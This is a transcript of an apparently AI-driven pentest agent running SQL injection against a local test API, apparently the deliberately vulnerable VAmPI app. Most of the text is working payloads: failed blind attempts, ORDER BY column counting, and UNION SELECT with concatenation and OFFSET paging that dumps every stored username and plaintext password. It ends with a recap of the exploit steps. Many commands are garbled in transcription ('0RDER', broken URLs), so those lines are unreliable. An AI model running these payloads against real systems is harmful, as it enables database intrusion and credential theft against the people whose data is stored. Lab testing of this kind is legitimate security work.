```
Enter your task (multiple lines allowed).
Type 'done' to finish, 'cancel' to restart, 'exit' to exit:
```

Test sql injection on http://localhost:5000/users/v1/John.Smith The goal is to return all the username and passwords in the database.

done

Saving input...

Thought

Try using time-based blind SQL injection by attempting to trigger a SQL query that will cause the server to wait for a specified amount of time if the condition is true. This way, you can infer whether the injection was successful without relying on direct data output.

Here's a sample command to test for time-based blind SQL injection by using SLEEP() in the case of a MySQL database:

curl 'http://localhost:5000/users/v1/John.Smith%27%20and%20IF%281%3D1%2CSLEEP%285%29%2C0%29%20--%20'

This command attempts to delay the response for 5 seconds if the condition (1=1, which is always true) is met, indicating that the injection is successful. If there's no delay, the injection might not be successful, or the database is not susceptible to time-based injection. Adjust the payloads according to the observed behavior and the specifics of the database in use.

#### Command

/ocurl 'http://localhost:5000/users/v1/John.Smith%27%20and%20IF%281%3D1%2CSLEEP%285%29%2C0%29%20--%20

#### System Output

```
<!doctype html>
<html lang=en>
  <head>
    <\!\!\text{title}\!\!>\!\!\text{sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) no such function: IF}
[SQL: SELECT * FROM users WHERE username = 'John.Smith' and IF(1=1,SLEEP(5),0) -- ']
(Background on this error at: https://sqlalche.me/e/20/e3q8)
 // Werkzeug Debugger</title>
    <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css">
    <link rel="shortcut icon"</pre>
        href="?__debugger__=yes&cmd=resource&f=console.png">
    < s c
es/sqlalchemy/engine/base.py", line 1964, in _exec_single_context
    self.dialect.do_execute(
  File "/Users/haochen/opt/anaconda3/envs/vampi/lib/python3.8/site-packages/sqlalchemy/engine/default.py", line 747, in
do_execute
    cursor.execute(statement, parameters)
sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) no such function: IF
[SQL: SELECT * FROM users WHERE username = 'John.Smith' and IF(1=1,SLEEP(5),0) - ']
(Background on this error at: https://sqlalche.me/e/20/e3q8)
-->
```

### Thought

The error message indicates that the SQLite database does not recognize the IF function. Instead, you can use sqlite's native CASE statement to attempt a time-based SQL injection. The sqlite database also does not have a SLEEP() function, but you can use an expensive query to simulate a delay.

Try the following command using a loop to cause a deliberate delay:

### curl

'http://localhost:5000/users/v1/John.Smith%27%20and%20(CASE%20WHEN%20(1%3D1)%20THEN%20randomblob(1000000000)%20ELSE%2 ULL%20END)%20--%20'

This payload uses randomblob() with a large number to create a CPU-intensive operation that should cause a delay. Adjust the size of the randomblob according to the server's response. If this causes an observable delay, it suggests that the SQL injection is indeed possible.

### Command

### curl

'http://localhost:5000/users/v1/John.Smith%27%20and%20(CASE%20WHEN%20(1%3D1)%20THEN%20randomblob(1000000000)%20ELSE%20N ULL%20END)%20--%20'

#### System Output

```
{ "status": "fail", "message": "User not found"}
```

#### Thought

The message indicates that the server did not experience a delay, or the injection attempt was not processed as expected. Let's switch to a different methodology that could reveal information about the database structure or produce an error that gives us insight.

You can try a Boolean-based blind SQL injection where you extract data by asking the database a series of true or false questions. You'll use substrings to determine individual characters of the database output, one at a time.

Here's the next step, using SQLite's SUBSTR() and UNICODE() functions to get the Unicode value of the first character of the first database name:

#### curl

'http://localhost:5000/users/v1/John.Smith%27%20and%20(SELECT%20UNICODE(SUBSTR((SELECT%20name%20FROM%20sqlite\_master% WHERE%20type%3D%27table%27%20AND%20name%20NOT%20LIKE%20%27sqlite\_%25%27%20LIMIT%201),1,1))%3D97)%20--%20'

This command checks if the first character of the first table name in the database is 'a' (Unicode value 97). If the response indicates success, you know that the character is correct. Adjust the Unicode value to brute-force the character. If it fails, adjust the character value and try again. Repeat for subsequent characters.

#### Command

#### cur

'http://localhost:5000/users/v1/John.Smith%27%20and%20(SELECT%20UNICODE(SUBSTR((SELECT%20name%20FROM%20sqlite\_master%20 WHERE%20type%3D%27table%27%20AND%20name%20NOT%20LIKE%20%27sqlite\_%25%27%20LIMIT%201),1,1))%3D97)%20--%20'

#### System Output

```
{ "status": "fail", "message": "User not found"}
```

#### Thought

Given the response, it's not clear if the SQL injection was successful because the expected behavior (a change in response based on the truth value of the SQL condition) did not occur.

Let's try another approach by including an always true condition and an ORDER BY clause. This can cause a change in the response if the SQL injection is successful.

Execute the following command to test whether the application is vulnerable to SQL injection using ORDER BY:

curl 'http://localhost:5000/users/v1/John.Smith%27%200R%201%3D1%200RDER%20BY%201%20--%20'

This payload attempts to see if you can change the order of the results returning from the query, which should generate a different response if successful.

### Command

# curl 'http://localhost:5000/users/v1/John.Smith%27%200R%201%3D1%20ORDER%20BY%201%20--%20

### System Output

```
{"username": "name1", "email": "mail1@mail.com"}
```

# Thought

The command executed seems to have bypassed the initial check and returned a different user than "John.Smith," which means that the injection may be working. Since the goal is to return all usernames and passwords, the next step is to start extracting data.

Let's use a UNION SELECT attack to attempt to retrieve additional information from another table. The goal is to enumerate the correct number of columns and then use UNION SELECT to retrieve data from the users' table.

Begin by determining the number of columns using ORDER BY, and increment the number until an error occurs:

curl 'http://localhost:5000/users/v1/John.Smith%27%200RDER%20BY%202%20--%20'

Run the above command and increment the number 2 to 3, 4, 5, etc., until an error is returned indicating that you've gone past the number of columns. Once you know the number of columns, you can craft a UNION SELECT payload accordingly.

### Command

System Output

{"username": "John.Smith", "email": "john.smith@test.com"}

#### Thought

It seems the SQL injection may still be working, and the application didn't return an error when ordering by 2 columns. You should now continue incrementally to find the exact number of columns. Once an error occurs, that means the previous number was the total number of columns.

Try the next step with 3 columns:

curl 'http://localhost:5000/users/v1/John.Smith%27%200RDER%20BY%203%20--%20'

Continue to increment the number until an error is returned.

Command

curl 'http://localhost:5000/users/v1/John.Smith%27%200RDER%20BY%203%20--%20'

System Output

{"username": "John.Smith", "email": "john.smith@test.com"}

Thought

The application did not return an error with ORDER BY 3, so increment to 4:

curl 'http://localhost:5000/users/v1/John.Smith%27%200RDER%20BY%204%20--%20'

Execute this command and continue incrementing until you receive an error response, indicating the correct number of columns.

Command

curl 'http://localhost:5000/users/v1/John.Smith%27%200RDER%20BY%204%20--%20

System Output

{"username": "John.Smith", "email": "john.smith@test.com"}

Thought

Since there was no error ordering by 4 columns, increment to 5:

curl 'http://localhost:5000/users/v1/John.Smith%27%200RDER%20BY%205%20--%20'

If no error is returned, continue to increment the number until an error indicates the maximum column count.

Command

curl 'http://localhost:5000/users/v1/John.Smith%27%20ORDER%20BY%205%20--%20

System Output

{"username": "John.Smith", "email": "john.smith@test.com"}

**Thought** 

Continue with the next increment. Try ordering by 6:

curl 'http://localhost:5000/users/v1/John.Smith%27%200RDER%20BY%206%20--%20'

If this does not result in an error, keep incrementing until you find the number of columns that causes an error, which will tell you the correct number of columns in the original query.

Command

curl 'http://localhost:5000/users/v1/John.Smith%27%200RDER%20BY%206%20--%20'

System Output

<!doctype html>

```
<html lang=en>
  <head>
    <title>sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) 1st ORDER BY term out of range - should be
[SQL: SELECT * FROM users WHERE username = 'John.Smith' ORDER BY 6 -- ']
(Background on this error at: https://sqlalche.me/e/20/e3q8)
 // Werkzeug Debugger</title>
    <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css">
    <link rel="shortcut icon"</pre>
        href="?__debugger__=yes&cmd=resource&a
. . .
py", line 1964, in _exec_single_context
    self.dialect.do_execute(
  File "/Users/haochen/opt/anaconda3/envs/vampi/lib/python3.8/site-packages/sqlalchemy/engine/default.py", line 747, in
    cursor.execute(statement, parameters)
sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) 1st ORDER BY term out of range - should be between 1 and 5
[SQL: SELECT * FROM users WHERE username = 'John.Smith' ORDER BY 6 - ']
(Background on this error at: https://sqlalche.me/e/20/e3q8)
-->
```

#### Thought

The error indicates that the query should have between 1 and 5 columns. Now that you have identified that the query uses 5 columns, you can attempt to extract information using UNION SELECT. Here's how you can retrieve the database version as the next step to verify that UNION SELECT works:

curl http://localhost:5000/users/v1/John.Smith%27%20UNION%20SELECT%20null%2C%20sqlite\_version()%2C%20null%2C%20null%2C%20 11%20--%20

This payload is designed for the situation where you know there are five columns, and it attempts to return the database version in the second column. If successful, adjust the query accordingly to extract the username and password information.

http://localhost:5000/users/v1/John.Smith%27%20UNION%20SELECT%20null%2C%20sqlite\_version()%2C%20null%2C%20null%2C%20nu

### Command

System Output

11%20--%20'

# {"username": "3.41.2", "email": "None"}

### Thought

The SQLite version 3.41.2 was successfully retrieved, confirming that UNION SELECT works. Now, you can proceed to extract the usernames and passwords. Since you know there are 5 columns and the data structure, you need to find out the correct names of the columns for the username and password from the appropriate table.

Assuming the table that stores usernames and passwords is named "users" and the columns are "username" and "password", here's the payload you could use:

curl http://localhost:5000/users/v1/John.Smith%27%20UNION%20SELECT%20null%2C%20username%2C%20password%2C%20null%2C%20null 0from%20users%20--%20'

This SQL statement is intended to pull out usernames and passwords from the users table, displaying them in the second and third columns of the output. Adjust the actual column and table names based on the database schema you're working with.

### Command

http://localhost:5000/users/v1/John.Smith%27%20UNION%20SELECT%20null%2C%20username%2C%20password%2C%20null 0from%20users%20--%20'

# System Output

```
{"username": "Alice.Tang", "email": "None"}
```

### Thought

The SQL injection was successful, and you obtained a username, but the password field did not display as expected. It is possible that the current query structure or column names for the user credentials are incorrect. Given the information obtained, you might be missing the correct column names or not handling the result set properly.

The next step is to adjust the query to ensure you also capture the password data. Assuming that "password" is the correct column name and that it has been omitted due to the data structure or the application's response handling, you might use a different payload that tries to concatenate usernames and passwords into a single column.

An example payload, using || to concatenate strings in SQLite, might look like this:

#### curl

'http://localhost:5000/users/v1/John.Smith%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20pasord%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%20FROM%20users%20--%20'

This command tries to concatenate the username and password with a colon between them, allowing you to see both pieces of information in the second column of the response. If the "password" column still doesn't show, you may need to verify the column name from the database schema, as it could differ (e.g., "passwd," "user\_pass").

#### Command

#### curl

'http://localhost:5000/users/v1/John.Smith%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%20null%2C%2C%20null%2C%2C%20null%2C%2C%20null%2C%2C%20null%2C%2C%2C%2C%20null%2C%2C%2C%2C%20null%2C%2C%2C%2C%20null%2C%2C%2C%2C%2C%2C%2C%2C%

#### System Output

{"username": "Alice.Tang:123678", "email": "None"}

#### Thought

The injection succeeded, and you got a username-password pair ("Alice.Tang:123678") from the database. This concatenation technique should work for the rest of the rows as well, so to list all username-password pairs, you can remove the initial part of the payload that references a specific username to retrieve the full set of credentials.

Here's the curl command to fetch all records:

#### curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%2ull%2C%20null%2C%20null%2CFROM%20users%20--%20'

This command drops the reference to "John.Smith" and should select all username-password pairs from the users table.

### Command

### curl

http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2OFROM%20users%20--%20'

### System Output

{"username": "Alice.Tang:123678", "email": "None"}

### Thought

It appears that the server is providing a single record in the response. This could be due to the endpoint's design only returning one user at a time or due to some sort of limitation or filter within the application's logic. To enumerate all records, you would typically use a loop with a counter or script the injection to increment an index in the SQL query, but since we are using manual curl commands, this could become cumbersome.

However, assuming you want to automate the process with manual requests, you can attempt to use the LIMIT clause in conjunction with an offset to iterate through each record. Here's a command template for the technique:

### curl

http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%2ull%2C%20null%2C%20null%2CFROM%20users%20LIMIT%201%200FFSET%200%20--%20'

In the template above, replace OFFSET 0 with OFFSET 1, OFFSET 2, and so on to retrieve subsequent records. Execute this curl command once for each offset value, incrementing by one each time, until you no longer receive user data, which indicates you have reached the end of the dataset.

# Command

### curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%20null%2C%20null%2C%20null%20FROM%20users%20LIMIT%201%200FFSET%200%20---%20'

#### System Output

{"username": "Alice.Tang:123678", "email": "None"}

#### Thought

You have successfully retrieved one record using the LIMIT clause. To get the next record, you will need to increase the OFFSET to 1:

#### curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%2ull%2C%20null%2C%20null%20FROM%20users%20LIMIT%201%200FFSET%201%20--%20'

Execute this command and continue to increase the OFFSET value by 1 each time (OFFSET 2, OFFSET 3, etc.) until you receive a response indicating there are no more records. This will allow you to enumerate each username and password pair in the database.

### Command

#### curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%20n ull%2C%20null%2C%20null%20FROM%20users%20LIMIT%201%20OFFSET%201%20--%20'

#### System Output

{"username": "EthicalHacker:SecurePass!23", "email": "None"}

#### Thought

You have successfully retrieved another username-password pair: "EthicalHacker:SecurePass!23". Continue incrementing the OFFSET by 1 to enumerate the rest of the records:

#### curl

http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%2ull%2C%20null%2C%20null%2CFROM%20users%20LIMIT%201%200FFSET%202%20--%20'

Repeat this process, increasing the OFFSET value each time, until you stop getting valid responses, indicating you have reached the end of the user list.

### Command

### curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%20n ull%2C%20null%2C%20null%20FROM%20users%20LIMIT%201%200FFSET%203%20--%20'

### System Output

{"username": "John.Smith:pass4", "email": "None"}

### Thought

You have retrieved yet another username-password pair: "John.Smith:pass4". Continue the process to extract all credentials:

### curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%2ull%2C%20null%2C%20null%20FROM%20users%20LIMIT%201%200FFSET%204%20--%20'

Keep incrementing the OFFSET by 1 with each request until no more data comes back. This way, you'll retrieve the complete list of users and their passwords.

### Command

### curl

Ull 'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2CFROM%20users%20LIMIT%201%200FFSET%204%20--%20'

### System Output

{"username": "NewAdminUser:newpass123", "email": "None"}

# Thought

You have obtained another set of credentials: "NewAdminUser:newpass123". Continue the same process to extract more credentials:

#### curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%2ull%2C%20null%2C%20null%20FROM%20users%20LIMIT%201%200FFSET%205%20--%20'

Increment the OFFSET again and run the command. Repeat this step as many times as necessary until you stop receiving user data, indicating that you have enumerated all available records.

#### Command

#### curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%20n ull%2C%20null%2C%20null%20FROM%20users%20LIMIT%201%200FFSET%206%20--%20'

#### System Output

```
{"username": "name1:pass1", "email": "None"}
```

### Thought

You've retrieved another username-password pair: "name1:pass1". Continue this process:

#### curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%2ull%2C%20null%2C%20null%2CFROM%20users%20LIMIT%201%200FFSET%207%20--%20'

Keep incrementing the OFFSET value by 1 with each new request to retrieve additional records, until you receive a response that suggests there are no more entries to fetch.

#### Command

# curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2C%20null%2C%20null%2C%20null%2C%20null%2CFROM%20users%20LIMIT%201%200FFSET%208%20--%20'

#### System Output

```
{ "status": "fail", "message": "User not found"}
```

# Thought

The response "User not found" indicates that there are no more records at OFFSET 8, meaning you've likely reached the end of the dataset. It seems you have enumerated all available username-password pairs from the database.

You can conclude the SQL injection testing at this point. However, remember to document your findings and report them to the system administrators or relevant parties so they can address the vulnerabilities accordingly. If you wish to continue exploring other aspects or potential vulnerabilities of the system, you can proceed with those tests.

I have successfully completed the task. Below is a summary of the steps taken:

### Summary

Here's a summary of the steps that I took to successfully enumerate all username and password pairs from the database using SQL injection:

1 I tested for time-based blind SQL injection.

curl 'http://localhost:5000/users/v1/John.Smith%27%20and%20IF%281%3D1%2CSLEEP%285%29%2C0%29%20--%20'

- This command attempted to delay the response for 5 seconds. However, the SQLite database did not recognize the IF function used in the payload.
- 2 I attempted Boolean-based blind SQL injection.

### curl

'http://localhost:5000/users/v1/John.Smith%27%20and%20(SELECT%20UNICODE(SUBSTR((SELECT%20name%20FROM%20sqlite\_mast %20WHERE%20type%3D%27table%27%20AND%20name%20NOT%20LIKE%20%27sqlite\_%25%27%20LIMIT%201),1,1))%3D97)%20---%20'

- The command was designed to check if the SQL injection was successful by extracting the first character of the first table name, but the expected behavior change did not occur.
- 3 I used SQL injection using an ORDER BY clause.

curl 'http://localhost:5000/users/v1/John.Smith%27%200R%201%3D1%200RDER%20BY%201%20--%20'

- This payload revealed that SQL injection was indeed possible because it bypassed the initial check and returned a different response than expected.
- 4 I determined the number of columns in the SQL query.

curl 'http://localhost:5000/users/v1/John.Smith%27%200RDER%20BY%206%20--%20'

- After incrementally increasing the number in the ORDER BY clause, the error indicated there were 5 columns in the database schema.
- 5 I retrieved the version of the SQLite database to ensure UNION SELECT works.

#### curl

'http://localhost:5000/users/v1/John.Smith%27%20UNION%20SELECT%20null%2C%20sqlite\_version()%2C%20null%2C%20null%2C 0null%20--%20'

• Successfully obtaining the database version "3.41.2" confirmed that the SQL injection could be exploited further.
6 I extracted usernames and passwords using UNION SELECT with concatenated fields, iterating the OFFSET to enumerate all records.

#### curl

'http://localhost:5000/users/v1/%27%20UNION%20SELECT%20null%2C%20username%20%7C%7C%20%27:%27%20%7C%7C%20password%2 20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2OFFROM%2Ousers%20LIMIT%201%200FFSET%204%20--%20'

 By adjusting the OFFSET value and repeatedly executing similar commands, I enumerated all available username-password pairs until the endpoint response indicated that there were no more records.

By following these steps, I was able to successfully exploit the SQL injection vulnerability and extract sensitive information from the database. This process highlighted the need to secure the system against such attacks.